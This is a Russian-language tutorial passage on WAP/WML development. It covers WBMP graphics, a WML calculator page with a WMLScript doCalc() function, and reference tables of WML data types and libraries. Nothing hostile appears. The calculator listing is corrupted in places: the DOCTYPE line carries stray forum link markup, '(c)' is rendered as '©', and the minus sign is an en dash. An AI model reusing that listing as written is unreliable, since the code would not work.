Не следует думать, что вывод логотипа фирмы – единственное возможное применение графики на мобильном телефоне. Чтобы убедиться в обратном, достаточно взглянуть на изображения (рис. 4). С использованием библиотеки Wapaint.dll, вызываемой из ASP-скриптов на сервере, такие рисунки можно генерировать на сервере динамически.
И все же из-за небольших объемов памяти следует избегать графики, кроме тех случаев, когда она действительно необходима. Не пренебрегайте и атрибутом alt для изображений на тот случай, когда броузер не поддерживает графику. В WAP это распространенное явление.
Когда вы будете создавать свои картинки и просматривать их на эмуляторах мобильных устройств, имейте в виду, что они не очень хорошо поддерживают графические файлы. Поэтому окончательную проверку желательно выполнять на настоящем телефоне.
В Интернете на странице www.wap-resources.net/wbmparchive.shtml вы сможете найти большой набор уже готовых изображений в формате WBMP.
Все вместе...
Теперь вы можете посмотреть, как все это работает совместно. Пример представляет собой простой калькулятор, который умеет только складывать и вычитать (листинг 2, рис. 5). Он построен на основе примера из комплекта M3Gate.
Основной WML-файл содержит одну карту. В теге <go> стоит вызов функции doCalc(). Обратите внимание, эта функция записана в отдельном wmls-файле и объявлена в нем с использованием ключевого слова extern, позволяющего вызывать ее функциям или WML-событиям, определенным в других файлах. В нашем примере она вызывается при нажатии на телефоне кнопки GO – это задается атрибутом href тега действия <go>.
Наряду с функцией doCalc() используются также функции трех стандартных библиотек – Lang, Float и WMLBrowser. В целом пример должен быть понятен любому, кто знаком с HTML, однако некоторые детали заслуживают пояснения.
В описании полей ввода нашего калькулятора используется атрибут format="*N". Он означает, что в данном поле допускается вводить только цифры. Спецификация format в WML дает возможность довольно точно задавать требуемый формат данных, что позволяет в ряде случаев избежать проверки корректности ввода с использованием WML-скриптов.
В языке WML после поля ввода всегда выполняется переход на новую строку. Поэтому между строчками «Number 1», «Operation» и «Number 2» не нужно ставить тег перевода строки <br/>, а вот после итоговой черты он необходим.
Для вывода результата в тексте нашей WML-страницы используется конструкция $(result). Она предписывает вывести на экран значение переменной среды броузера result, которая первоначально содержит пустое значение, а затем командой WMLBrowser.setVar занести в нее результат вычисления. Для того чтобы изменения отобразились на экране, вызывается функция WMLBrowser.refresh. Между прочим, такой синтаксис вывода переменной означает, что знак доллара является в синтаксисе WML управляющим символом. Для того чтобы он отобразился на экране, его нужно записать дважды «$$».
Листинг 2. Калькулятор
Файл сalculator.wml – WML-страница

<?xml version="1.0"?>
"<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
[url="http://www.shram.kiev.ua/click?http://www.wapforum.org/DTD/wml_1.1.xml"&gt;"]http://www.wapforum.org/DTD/wml_1.1.xml">[/url]

<wml><card id="calc" title="Calculator">
<p><b>Number 1:</b>
<input type="text" name="num1" format="*N"/>
<b>Operation:</b>
<select name="op" value="+">
<option value="+">+</option>
<option value="-">-</option>
</select>
<b>Number 2:</b>
<input type="text" name="num2" format="*N"/>
------<br/>
= $(result)
<do type="accept" label="Calculate">
<go href="calculator.wmls#doCalc()"/>
</do></p>
</card></wml>

Файл calculator.wmls – WScipt

extern function doCalc()
{ var a = Lang.parseFloat(WMLBrowser.getVar("num1"));
var b = Lang.parseFloat(WMLBrowser.getVar("num2"));
var op = WMLBrowser.getVar("op");
var c = invalid;

if (op == "+") { c = a + b; }
else if (op == "-") { c = a – b; }
WMLBrowser.setVar("result", String.toString©);
WMLBrowser.refresh();
}
Заключение
Пока возможности устройств WAP ограничены из-за небольшого размера памяти, слабых процессоров, скорости передачи данных и т. д. Но технологии совершенствуются, и появляются улучшенные решения.
Злые языки говорят, что у WML нет будущего. Слишком бедны его возможности по сравнению с HTML. Но надо заметить, что его будущее во многом зависит и от нас с вами. На сегодняшний день число интересных WAP-ресурсов, увы, невелико, но стоит надеяться, что в ближайшем будущем в связи с бурным ростом использования мобильных устройств их станет больше. Возможности WML сильно ограничены, но, несмотря на это, с его помощью можно делать вполне серьезные проекты.
Типы данных WML

Типы данных Допустимые значения
Boolean Истина и ложь
Integer От -2 147 483 648 до 2 147 483 647 или invalid
Float От ±1,17549435E-38 до ±3,402823476E+38 или invalid
String Символьная строка с любым количеством знаков, заключенным в одиночные или двойные кавычки
Библиотеки WML
Lang – эта библиотека содержит набор функций, связанных с ядром языка. В эту библиотеку включены функции для преобразования булевских, целых и обычных переменных, вычисления абсолютной величины и генерации псевдослучайных чисел.
Float – библиотека для вычислений с плавающей точкой (sqrt, round, pow и т. п.). Имейте в виду, что не все клиентские устройства имеют возможности для операций с плавающей точкой.
String – библиотека содержит набор функций для выполнения строковых операций. В ее состав входят такие функции, как length, charAt, find, replace, trim.
URL – библиотека содержит набор функций для манипулирования абсолютными и относительными URL. Например, getPath, getReferer, getHost и др.
WMLBrowser – библиотека содержит функции, при помощи которых WMLScript может обращаться к ассоциированному WML-контексту. То есть WMLBrowser является аналогом объектов Navigator и Document в обычных броузерах. Примеры функций этой библиотеки: go, prev, next, getCurrentCard, refresh.
Dialogs – библиотека содержит набор типичных функций интерфейса пользователя: prompt, confirm, alert и др.